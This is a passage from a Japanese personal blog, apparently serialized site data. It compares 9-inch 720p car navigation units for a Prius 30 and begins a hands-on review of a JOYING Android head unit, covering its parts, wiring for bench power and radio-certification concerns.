href=\"https://www.amazon.co.jp/%E3%82%B1%E3%83%B3%E3%82%A6%E3%83%83%E3%83%89-MDV-M907HDF-%E5%B0%82%E7%94%A8%E3%83%89%E3%83%A9%E3%83%AC%E3%82%B3%E9%80%A3%E6%90%BA-Bluetooth-iPhone%E5%AF%BE%E5%BF%9C/dp/B088HB6BGL/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=MDV-M907HDF&qid=1599059554&s=automotive&sr=1-4&linkCode=li3&tag=mzyy-22&linkId=361cada65b1b37e7cb333183aebb8b93&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B088HB6BGL&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: ケンウッド カーナビ 彩速ナビ 9型 MDV-M907HDF フローティング/専用ドラレコ連携 無料地図更新/フルセグ/Bluetooth/Wi-Fi/Android&iPhone対応/DVD/SD/USB/HDMI/ハイレゾ/VICS/タッチパネル/HDパネル: 車&バイク](https://www.amazon.co.jp/%E3%82%B1%E3%83%B3%E3%82%A6%E3%83%83%E3%83%89-MDV-M907HDF-%E5%B0%82%E7%94%A8%E3%83%89%E3%83%A9%E3%83%AC%E3%82%B3%E9%80%A3%E6%90%BA-Bluetooth-iPhone%E5%AF%BE%E5%BF%9C/dp/B088HB6BGL/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=MDV-M907HDF&qid=1599059554&s=automotive&sr=1-4&linkCode=sl1&tag=mzyy-22&linkId=10138200cc6868f24c48b09a7d26ac77&language=ja_JP)\n\n\n9インチ720pカーナビの中では比較的安価。オーガニックGUIと呼ばれる美しいインターフェースを備える。画面タイプは後付け感丸出しのフローティングタイプである。宙に浮かぶようなおしゃれな存在感として、あえて浮かせているようだ。\n\n- 価格 (執筆時): 121,593 円\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: フローティング\n- マルチメディア機能: 地上デジタルTVチューナー/Bluetooth/DVD/USB/SD\n\n**製品ページ**: [MDV-M907HDF|カーナビ|カー用品|商品情報|ケンウッド](https://www.kenwood.com/jp/products/carnavi/mdv-m907hdf/)\n\n#### アルパイン カーナビ BIG X 9型 EX9NX-PR30 プリウス30系専用\n\n\n<a href=\"https://www.amazon.co.jp/Alpine-Big-Prius-model-EX9NX-PR30/dp/B084B72X7F/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=7d34a299ab5471d488f352d5ab8640bb&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B084B72X7F&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: アルパイン カーナビ BIG X 9型 EX9NX-PR30 プリウス30系専用 無料地図更新/フルセグ/Bluetooth/Wi-Fi/Android&iPhone対応/DVD/SD/USB/HDMI/ハイレゾ/VICS/WXGA: 家電・カメラ](https://www.amazon.co.jp/Alpine-Big-Prius-model-EX9NX-PR30/dp/B084B72X7F/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=b81fe00c188e7f219d33e3e95318e0c9&language=ja_JP)\n\n\nプリウス30型専用に作られているのもあって、取り付けた見た目は純正品と見間違うほどのフィットした埋め込み式。\n仕様が書かれたページが見つからず、機能の全容を掴めなかった。\n\n- 価格 (執筆時): 212,222 円\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式(プリウス30型専用)\n- マルチメディア機能: 地上デジタルTVチューナー/HDMI入力/Wi-Fi/Bluetooth/DVD/USB/SD\n\n#### クラリオン カーナビ NXV997D\n\n<a href=\"https://www.amazon.co.jp/Smart-Access-E3-83-AA-E3-83-B3-E3-82-AF-E5-9C-B0-E4-B8-8A-E3-83-87-E3-82-B8-E3-82-BF-E3-83-ABTV-E/dp/B07ZKM3F1Z/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=3b24c7d8c944f295699c15530ad0cfd0&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07ZKM3F1Z&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| Smart Accessリンク 9型 HD 地上デジタルTV/DVD/SD メモリーAVナビゲーション NXV997D NXV997D \\| オーディオ一体型ナビ \\| 車&バイク](https://www.amazon.co.jp/Smart-Access-E3-83-AA-E3-83-B3-E3-82-AF-E5-9C-B0-E4-B8-8A-E3-83-87-E3-82-B8-E3-82-BF-E3-83-ABTV-E/dp/B07ZKM3F1Z/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=ea7bcf310dc6d78ffaabd8318fafc1b1&language=ja_JP)\n\n比較的安価。画面分割に対応し、UI/UXにこだわりを感じる。ただ、プリウス30型には対応していないようだ。\n車種が対応していて予算が許せばこれを選択したいくらいのものだ。\n\n[カーナビ・カーオーディオなら、Clarionクラリオン \\| NXV997D / NXV987D / NXV977D 装着可能車種情報](https://www.clarion.com/jp/ja/user-support/fitting/2017-NXV977D/)\n\n- 価格 (執筆時): 136,347 円\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式(プリウス30型非対応)\n- マルチメディア機能: 地上デジタルTVチューナー/HDMI入力/Wi-Fi/Bluetooth/DVD/SD\n\n**製品ページ**: [カーナビ・カーオーディオなら、Clarionクラリオン \\| NXV997D / NXV897D](https://www.clarion.com/jp/ja/products-personal/navigation/quad-view/)\n\n### 国内メーカー製カーオーディオ\n\nナビ機能はないが、9インチで720pのCarPlayに対応しているものを探した。探し方が悪かったのか、一つしか見つからなかった。\n\n#### カロッツェリア DMH-SF700\n\n<a href=\"https://www.amazon.co.jp/%E3%83%91%E3%82%A4%E3%82%AA%E3%83%8B%E3%82%A2-%E3%82%AB%E3%83%AD%E3%83%83%E3%83%84%E3%82%A7%E3%83%AA%E3%82%A2-DMH-SF700-AppleCarPlay-AndroidAuto%E2%84%A2%E5%AF%BE%E5%BF%9C/dp/B088LJN6R2/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=8cc12f54fe501409a8d6d8cc0f621da5&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B088LJN6R2&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: パイオニア カーオーディオ カロッツェリア DMH-SF700 9型 フローティング Amazon Alexa搭載 AppleCarPlay AndroidAuto™対応 1DIN Bluetooth/USB: 車&バイク](https://www.amazon.co.jp/%E3%83%91%E3%82%A4%E3%82%AA%E3%83%8B%E3%82%A2-%E3%82%AB%E3%83%AD%E3%83%83%E3%83%84%E3%82%A7%E3%83%AA%E3%82%A2-DMH-SF700-AppleCarPlay-AndroidAuto%E2%84%A2%E5%AF%BE%E5%BF%9C/dp/B088LJN6R2/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=7c43b0ce520dc9ec441932694d3684a2&language=ja_JP)\n\n\nカーナビと比べるととてもお手頃価格。Apple CarPlayに加えてAndroid Autoにも対応しているので、ナビはスマホアプリで足りてる人全てに勧められる。Webブラウザも搭載しているので、テザリングすればYouTubeなどを見れるという。\n10万円以下で予算を組んでる人にとっては、大画面高画質なカーナビの代替となるカーオーディオとして、とても有力な製品だ。\n\n- 価格 (執筆時): 88,000 円\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: フローティング\n- マルチメディア機能: HDMI入力/Wi-Fi/Bluetooth/USB\n\n**製品ページ**: [DMH-SF700 \\| AVメインユニット \\| カーAV \\| カーナビ・カーAV(carrozzeria) \\| パイオニア株式会社](https://jpn.pioneer/ja/carrozzeria/car_av/av_mainunit/dmh-sf700/)\n\n### 格安中華カーナビ\n\n国内では求める要求を全て満たすものが見つからなかったため、海外メーカーも探すことにした。\n\n巷では中華ナビや中華カーナビと略される格安カーオーディオ。\n有名どころはAmazon.co.jpやカー用品ショップでも取り扱いのある[XTRONS](https://www.xtrons.co.jp/index.php/)、[ATOTO](http://www.myatoto.com/)、[EONON](https://www.eonon.co.jp/)、[PUMPKIN](https://www.autopumpkin.com/)など。\nこのほか、日本国内販売ルートを持たない、Aliexpressなどで手掛けているメーカーも含めると、メーカー数は数え切れないほどある。\n\n中華と呼ばれることから、品質が低いと捕らえられがちであるが、中身はすごい進化を遂げている。今や日本国内メーカー品と比べても劣っていないどころか、優っている点も多いと言われている。ここまで国内メーカー品を紹介しておいてなんだが、以下の日中カーナビ内部解析・比較動画を見てみると、同等の機能であれば、あえて高価な日本国内メーカー品を購入する理由の少なさに気づかされるだろう。\n\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/C1NGYSLoi6Y?start=1400\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\n\n[#分解のススメ 第2回 テカナリエ 清水洋治代表 講演 「見て考えるべし 見てない人は妄想が多い」 23:20 日中カーナビ設計の違い - YouTube](https://www.youtube.com./watch?v=C1NGYSLoi6Y&t=1400s)\n\n\n中華ナビは国内メーカー製のものと比べて製品数が多い。メーカー数の多さもさる事ながら、ナビが車種ごとにカスタマイズされているものが多いためだ。メジャーなプリウス30型であれば、多くのメーカーがそのプリウス30型の純正ナビさながらの見た目とフィット感のあるナビを展開しているのだ。\nそういった商品展開をするメーカーは、汎用的にどの車種にも使えるUniversalモデルを販売していることは少ない。\n9インチ720pという条件で探すとなると、他の車種向けのものが多く検索にヒットしてしまうため、プリウス30型も指定して探すことにした。\n\n余談だが、7インチで720pの高精細なものや、12インチで1080pの大画面のものなど、9インチの縛りをなくすと多くの魅力的な商品がヒットしてしまい、目移りしてしまうので、中華ナビを探す場合はある程度条件を絞っておくと良い。\n\n#### JOYING JY-UO139N4GS-H\n\n<a href=\"https://s.click.aliexpress.com/e/_d8RGQ8G\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Ha1d022a3bdc54ba6a4170e84bea55d66d.jpg_350x350.jpg\" /></a>\n\n[Android 2 din car radio player GPS Navi universal head unit 8/9/10.1 inch IPS screen 1280*720 4GB+64GB support carplay&4G &WIFI\\|Car Multimedia Player\\| - AliExpress](https://s.click.aliexpress.com/e/_dTTa1v2)\n\n\n数少ないUniversalモデルの9インチ720p中華カーオーディオ。8インチと10.1インチのサイズ違いも用意されている。\nAndroid 8.1搭載であることから、自由度は高そうだ。\n\n中華ナビはRockchip製ARMアーキテクチャのPX6を搭載していることが多いが、もう一つの勢力として[Spreadtrum(Unisoc)](https://en.wikipedia.org/wiki/Unisoc)製x86_64アーキテクチャの[SC9853i](http://www.unisoc.com/solution/sc9853i)がある。この製品はそのSC9853iを搭載している。\n\n- 価格 (執筆時): US $333.74\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: フローティング\n- Apple CarPlay: ビルトイン\n- SoC: Unisoc SC9853i\n- OS: Android 8.1.0\n- マルチメディア機能: Wi-Fi/Bluetooth/USB\n\n\n#### JOYING JY-TO195N4GSN\n\n\n<a href=\"https://s.click.aliexpress.com/e/_dX4sD3K\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Hb41fd11aeba6428fb6de31e939f795a3M.jpg_350x350.jpg\" /></a>\n\n[9\"2 Din Radio Autoradio Android Car Head Unit GPS Stereo For Toyota Prius 2009 2013 Multimedia DVD Player Silver Right Drive\\|Car Multimedia Player\\| - AliExpress](https://s.click.aliexpress.com/e/_dX4sD3K)\n\n\n機能の差がほとんどないことから、おそらく先ほどのJY-UO139N4GS-Hの画面をプリウス30型用に埋め込み式に変更したモデルだ。\n\n- 価格 (執筆時): US $327.18\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式\n- Apple CarPlay: ビルトイン\n- SoC: Unisoc SC9853i\n- OS: Android 8.1.0\n- マルチメディア機能: Wi-Fi/Bluetooth/USB\n\n\n**製品ページ**: [Joying Toyota Prius (Right Drive) 2009-2013 Car Navigation System with 9 Inch IPS Screen](https://www.joyingauto.com/joying-toyota-prius-right-drive-2009-2013-car-navigation-system-with-9-inch-ips-screen.html)\n\n#### COHO CH-90044\n\n\n<a href=\"https://s.click.aliexpress.com/e/_dXLxTYg\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Hdd16acad84b7407d90fd40ee2ef50306o.jpg_350x350.jpg\" /></a>\n\n[Prius 30 RHD Android 10.0 Octa Core 4+64G Androi Radio Car Navigation For Toyota Prius 30 RHD\\|Car Multimedia Player\\| - AliExpress](https://s.click.aliexpress.com/e/_dZbP3w4)\n\n\nAndroid 10を搭載していて、ハードウェアも旧来のDINカーオーディオサイズである[ISO 7736](https://ja.wikipedia.org/wiki/ISO_7736)ではない形となっているモダンな商品。これはプリウス30型用だが、他の車種向けにもいくつか類似のものが用意されている。\n魅力的な製品だが、メーカーサイトが見つからず、サポートに不安が残る。\n\n- 価格 (執筆時): US $328.50\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式\n- Apple CarPlay: ビルトイン\n- OS: Android 10.0\n- マルチメディア機能: Wi-Fi/Bluetooth/USB\n\n## 9インチ720pのカーナビ調査結果一覧\n\n製品名 | 執筆時価格 | 画面タイプ | マルチメディア機能\n---|---|---|---\n[カロッツェリア AVIC-CQ910](https://www.amazon.co.jp/%E3%82%AB%E3%83%AD%E3%83%83%E3%83%84%E3%82%A7%E3%83%AA%E3%82%A2-%E3%83%91%E3%82%A4%E3%82%AA%E3%83%8B%E3%82%A2-%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E3%83%8A%E3%83%93-AVIC-CQ910-%E5%9C%B0%E5%9B%B3%E6%9B%B4%E6%96%B0%E6%9C%80%E5%A4%A73%E5%B9%B4%E5%88%86%E4%BB%98/dp/B07YNSKS63/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=07d1aa2a84d3a878cec562fd14483f88&language=ja_JP) | 209,295 円 | 埋め込み式<br>(プリウス30型非対応) | 地デジ<br>HDMI<br>Wi-Fi<br>Bluetooth<br>DVD<br>USB<br>SD\n[ケンウッド MDV-M907HDF](https://www.amazon.co.jp/%E3%82%B1%E3%83%B3%E3%82%A6%E3%83%83%E3%83%89-MDV-M907HDF-%E5%B0%82%E7%94%A8%E3%83%89%E3%83%A9%E3%83%AC%E3%82%B3%E9%80%A3%E6%90%BA-Bluetooth-iPhone%E5%AF%BE%E5%BF%9C/dp/B088HB6BGL/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=MDV-M907HDF&qid=1599059554&s=automotive&sr=1-4&linkCode=sl1&tag=mzyy-22&linkId=10138200cc6868f24c48b09a7d26ac77&language=ja_JP) | 121,593 円 | フローティング | 地デジ<br>Bluetooth<br>DVD<br>USB<br>SD\n[アルパイン EX9NX-PR30](https://www.amazon.co.jp/Alpine-Big-Prius-model-EX9NX-PR30/dp/B084B72X7F/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=b81fe00c188e7f219d33e3e95318e0c9&language=ja_JP) | 212,222 円 | 埋め込み式<br>(プリウス30型専用) | 地デジ<br>HDMI<br>Wi-Fi<br>Bluetooth<br>DVD<br>USB<br>SD\n[クラリオン NXV997D](https://www.amazon.co.jp/Smart-Access-E3-83-AA-E3-83-B3-E3-82-AF-E5-9C-B0-E4-B8-8A-E3-83-87-E3-82-B8-E3-82-BF-E3-83-ABTV-E/dp/B07ZKM3F1Z/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=ea7bcf310dc6d78ffaabd8318fafc1b1&language=ja_JP) | 136,347 円 | 埋め込み式<br>(プリウス30型非対応) | 地デジ<br>HDMI<br>Wi-Fi<br>Bluetooth<br>DVD<br>SD\n[カロッツェリア DMH-SF700](https://www.amazon.co.jp/%E3%83%91%E3%82%A4%E3%82%AA%E3%83%8B%E3%82%A2-%E3%82%AB%E3%83%AD%E3%83%83%E3%83%84%E3%82%A7%E3%83%AA%E3%82%A2-DMH-SF700-AppleCarPlay-AndroidAuto%E2%84%A2%E5%AF%BE%E5%BF%9C/dp/B088LJN6R2/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=7c43b0ce520dc9ec441932694d3684a2&language=ja_JP) | 88,000 円 | フローティング | HDMI<br>Wi-Fi<br>Bluetooth<br>USB\n[JOYING JY-UO139N4GS-H](https://s.click.aliexpress.com/e/_dTTa1v2) | US $333.74 | フローティング | Wi-Fi<br>Bluetooth<br>USB\n[JOYING JY-TO195N4GSN](https://s.click.aliexpress.com/e/_dX4sD3K) | US $327.18 | 埋め込み式<br>(プリウス30型専用) | Wi-Fi<br>Bluetooth<br>USB\n[COHO CH-90044](https://s.click.aliexpress.com/e/_dZbP3w4) | US $328.50 | 埋め込み式<br>(プリウス30型専用) | Wi-Fi<br>Bluetooth<br>USB\n\n国内メーカーのカーナビは、地デジが標準機能として搭載されている。ナビゲーションシステムが収録されている点とその地デジが搭載されている価値から相応に高価になってしまうが、日常的に乗り回せば1日あたりの値段に換算した場合、実質無料となる。\n\n国内メーカーのカーオーディオは随分と機能がカーナビから削られるが、削られた価値と比べると割高に感じる。Apple CarPlay対応であるおかげで、数年先もチープなものに劣化することはなさそうである点は安心だ。\n\n中華ナビと言われる格安カーオーディオは、搭載されている機能に対して価格がとても優位に立っている。\n内部の設計も洗練されたものであることを思うと、地デジや高度なナビシステムが不要であればこちらを選ばない理由はない。\n\n## 注文と到着\n\n調査の結果、全ての要求を満たすものとして、中華ナビのいずれかを選ぶ他ないことがわかった。\n\n- 予算5万円: US $300程度\n- 高解像度: 1280x720\n- 大画面: 9インチ\n- プリウス純正品に近いフィット感\n- Apple CarPlayが使える\n\nどちらも要求はすべて満たしているので、JOYINGかCOHOの二択になる。メーカーページの見つけられなかったCOHOは不信感が残ったこともあり、JOYINGの[JY-TO195N4GSN](#joying-jy-to195n4gsn)を注文した。\n到着まで時間がかかることを覚悟していたが、大幅に予想よりも到着が早く、1週間たらずで届いた。\n\n\n\n過去の経験から1ヶ月前後かかるはずだという思い込みをしていたものの、AliexpressでもEMS配送であればすぐ到着するものなのかと驚かされた。\nおかげで車載する前に動作確認をするために必要なギボシ端子やケーブル、ダミーロードなどがまだ届かないので、開封と本体レビューはまた後日。\n"]}],[0,{"slug":[0,"2020/09/07/joying-car-navigation-prius-zvw30/"],"data":[0,{"title":[0,"JOYINGのAndroid中華ナビを買ったので動かしてみた"],"date":[3,"2020-09-06T20:00:00.000Z"],"image":[0,"/assets/images/2020/09/07/home-screen.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Automobile"]]],"tags":[1,[[0,"720p"],[0,"car-audio"],[0,"中華ナビ"],[0,"navigation"],[0,"joying"],[0,"android"],[0,"carplay"],[0,"review"]]]}],"content":[0,"\n色々と[探し回って見つけた](../2020/2020-09-03-high-res-720p-car-navigation.md)JOYINGの720pの9インチカーナビ。\nプリウスに取り付ける前に、家で動作確認をする準備ができたので、開封して起動してみた。\n使いこなすまではいかない程度の軽めのレビューです。\n\n\n## 目次\n\n## JOYING プリウス用9インチナビ\n\n買ったのはプリウス30型右ハンドル用のこちら。プリウス30型はカーナビ付近が左右非対称デザインのため、右ハンドル用を選択する必要がある。\n後述するが、これは全車種対応のUniversal版のものに、プリウス用のパーツをセットにしただけのものだった。\nなのでプリウス以外の車種に取り付けることを検討している方にも、参考になるかと思う。\n\n<a href=\"https://s.click.aliexpress.com/e/_dX4sD3K\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Hb41fd11aeba6428fb6de31e939f795a3M.jpg_350x350.jpg\" /></a>\n\n[9\"2 Din Radio Autoradio Android Car Head Unit GPS Stereo For Toyota Prius 2009 2013 Multimedia DVD Player Silver Right Drive\\|Car Multimedia Player\\| - AliExpress](https://s.click.aliexpress.com/e/_dX4sD3K)\n\n製品名がよく分からず、商品ページに書かれていた型番らしき**JY-TO195N4GSN**くらいしか名前と呼べる名前がない。\nしかしこれをそのまま記事に使うとわかりづらくなるので、ここでは「JOYING プリウス用9インチナビ」と称することにする。\n\nこのJOYING プリウス用9インチナビは、以下のスペックを備えている。\n\n- 価格 (執筆時): US $327.18\n- 画面サイズ: 9インチ\n- ユニットサイズ: 1 Din (※商品名と齟齬あり)\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式\n- SoC: Unisoc SC9853i\n- RAM: 4 GB\n- Flash: 64 GB\n- OS: Android 8.1.0\n- Apple CarPlay: ビルトイン\n- マルチメディア機能: Wi-Fi/Bluetooth/USB/4G\n- 対応操作方法: タッチパネル・ステアリングリモコン\n\n中華ナビはRockchip製ARMアーキテクチャのPX6やPX5を搭載していることが多いが、これは[Spreadtrum(Unisoc)](https://en.wikipedia.org/wiki/Unisoc)製x86_64アーキテクチャの[SC9853i](http://www.unisoc.com/solution/sc9853i)を搭載している。いわゆるIntel CPU搭載Android端末だ。\n\n商品ページには「9\"2 Din」で始まる長い商品名が記載されているが、実際は1 Dinサイズだった。\nDinとは[ISO 7736](https://ja.wikipedia.org/wiki/ISO_7736)で規格化されているカーナビユニット(本体)のサイズだ。\n商品写真も1 Dinだが実際に手にするまで確証がなかったため、前の記事では2 Dinの認識で内容を記述してしまっている。\n\n## 開封と外観の確認\n\n\n\nこれが到着時の段ボール箱。この中に同じサイズの紙の箱が入っていて、緩衝材に挟まれる形でディスプレイとユニットが一体化した本体が鎮座していた。\n\n\n\n\n中身はこのようになっていて、写っているのがナビの標準セット。これにバックモニターのリアカメラなども追加で買ったので、他にも色々入っていた。\n\n\n\n本体の他にセットとなっているケーブル類がこちら。一緒にリアカメラが写ってしまっているが、JOYING プリウス用9インチナビの付属品は下記の通りである。\n\n- GPSアンテナ\n- 4Gアンテナ x2\n- ラジオアンテナ\n- JOYINGトヨタ車ケーブル(詳細は後述)\n- マイク\n- USB延長ケーブル x2\n- 操作マニュアル(英語)\n- 配線説明用紙\n\n### ディスプレイ周り\n\n\n\n光沢の強いグレアパネルのディスプレイ。タッチ操作を続けると、画面が指紋まみれになってしまった。\nプリウス30型右ハンドル車に合わせたフレームがついているが、フレームにディスプレイはフィットしていない感じがある。\n下部にJOYINGのロゴが**上部だけ**わずかに見えていて、サイズを間違えたんじゃないかとも感じ取れるくらいだ。\n\n\n\nそれもそのはず、汎用の9インチのディスプレイに、プリウス30型用のフレームを上から被せているだけの仕上がりになっているからだ。\n写真ではわかりづらいが、フレームの下に大きな9インチのディスプレイが噛み合わせられている形になっている。\n\n\n\n\nJOYINGはいろいろな車種向けに同じ仕様のナビを展開しているが、このフレームを入れ替えるだけという単純な仕組みによって、本体の共通化を果たしているようだ。\n\nディスプレイはユニットとフラットケーブルで繋がれていて、組み込みの際はツメをはめ込むことで固定するようになっている。\n\n\n\n\n\nディスプレイの裏に隠れて、microSDカードスロットとリセットボタンがそれぞれユニットの左右にあった。\n\n\n\n\n\n### 背面ポートとコネクタ\n\n\n\nユニットの背面ポートを見てみると、色々と接続できるようにできているのがわかる。\n各コネクタにどのように繋げばいいかについては、同梱されている一枚の説明用紙に記されている。\n\n\n\n基本的には、ユニットの右側にある20ピンコネクタにいろいろな機器を接続するよう説明用紙に記載がある。\n今回購入したJOYING プリウス用9インチナビのセットには、この20ピンコネクタの接続をトヨタ車のコネクタに合うように形状を変換する**JOYINGトヨタ車ケーブル**が付属していた。\n\n\n\nまだプリウス車内のコネクタを確認していないが、このケーブルとコネクタをいくつか噛み合わせるだけで、車内のオーディオ出力やステアリングリモコンの信号線などと接続ができるらしい。\n\n## Universalモデルとの違い\n\nフレームのとってつけた感や、ディスプレイ下部に見えるロゴから、このJOYING プリウス用9インチナビは、以下のUniversal 1DinモデルとJOYINGトヨタ車ケーブル、そして画面のフレームをセットにしたものだと考えられる。\nプリウス30型に違和感なく装着できるフレームが装着済みである上、別々に買うよりいくらか安く買えるので、お得感がある。\n\nこのような作りになっているおかげで、他の車に乗り換えた時、その車に合うJOYINGケーブルとフレームを手に入れることができれば、JOYING プリウス用9インチナビを再利用することができそうだ。\n\n\n<a href=\"https://s.click.aliexpress.com/e/_dYUqYlb\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/Hb165f934ad464b1cb21c32c9436ca5b9U.jpg_350x350.jpg\" /></a>\n\n[9\"Single Din 2.5D Curved Screen 4GB RAM Android 8.1 Car Radio Stereo Head Unit Multimedia Player Support SIM Card Zlink GPS DSP\\|head unit\\|double 2 dindin android - AliExpress](https://s.click.aliexpress.com/e/_dYUqYlb)\n\n<a href=\"https://s.click.aliexpress.com/e/_d8X6HfL\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/H2310d9b2c7d84105a80ce7a530ec350fE.jpg_350x350.jpg\" /></a>\n\n[Special wiring harness for Toyota car radio power adaptor power cable radio plug\\|Cables, Adapters & Sockets\\| - AliExpress](https://s.click.aliexpress.com/e/_d8X6HfL)\n\n## 動作確認の準備\n\nさて、プリウスに組み込む前に家で動作確認をしてみたいが、その前に解決すべき問題がある。電源と技適の壁だ。\n\n### 12V ACアダプタでの起動\n\n車載用に作られているカーナビは、もちろん車の電源で動作するように作れている。乗用車の電源は12Vだ([自動車の電源電圧 - Wikipedia](https://ja.wikipedia.org/wiki/%E8%87%AA%E5%8B%95%E8%BB%8A%E3%81%AE%E9%9B%BB%E6%BA%90%E9%9B%BB%E5%9C%A7))。\nその12Vの電源を工面する必要がある。そう、12V ACアダプタでの起動だ。\n\nやることは簡単で、家にある適当な12VのACアダプタを探し出し、カーナビのBAT端子とACC端子、そしてGND端子に接続するだけだ。\nこのJOYING プリウス用9インチナビは、JOYINGケーブルを接続する20ピンコネクタにそれらの端子がある。それにACアダプタの配線を接続できるようにする。\n\nまず、JOYINGトヨタ車ケーブルの自動車側コネクタのハウジングから、黄色のBAT端子・赤のACC端子・黒のGND端子を取り外す。\n各端子の先端のタブコンタクトは平型端子のメスにちょうどハマるサイズになっていることがわかる。\n以下のターミナルセットに付属する平型端子のメスを、ACアダプタの配線に付けることで、電源を着脱可能にできる。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07X8DWFKZ/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=048348d25986d7e888d839e5510b73a9&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07X8DWFKZ&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: 【Amazon.co.jp 限定】エーモン ターミナルセット(中) 電工ペンチ付 (E2): 車&バイク](https://www.amazon.co.jp/gp/product/B07X8DWFKZ/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=477d637987ab77f82a6cbcded2558d89&language=ja_JP)\n\n手持ちのACアダプタはどこで手に入れたのか、センタープラスの外径 5.5mm、内径 2.1mm の12V 3A出力のごく一般的な12V ACアダプタである。\n何かの付属品だったっぽいことは覚えていて、ケーブルを切断することは躊躇われたため、以下の怪しいケーブルを買って平型端子のメスを圧着した。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B019DQ7UD6/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=e5bb0f54f6fd1268379cf6c505310d54&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B019DQ7UD6&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: 【ノーブランド品】CCTV セキュリティ用 12V DC電源 ピグテール メス 5.5x2.1mm ケーブル プラグ ワイヤー 10個: ホーム&キッチン](https://www.amazon.co.jp/gp/product/B019DQ7UD6/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=9e8709c130337dfb21ddf481fe03ea17&language=ja_JP)\n\n\nプラス側にBATとACCを、マイナス側にGNDを繋げて完成。\n\n\n\n\n### 技適の壁\n\n言わずもがな、JOYING プリウス用9インチナビには技適マークがない。国内でこの機器を電波が出力できる状態で利用することは、違法である。\nなので総務省の総合通信相談所で確認の上、ダミーロードで出力を抑え込んで利用する。\n\n[□技適マークのないマイコンボードを国内で使うには? – Linux Install Memo](https://linux.yebisu.jp/memo/1133)\n\nダミーロードは手持ちになかったので、以下のダミーロードを購入した。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07DSCD6YF/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=beaf76275372c3fed54865520db7d242&language=ja_JP\" target=\"_blank\"><img border=\"0\" 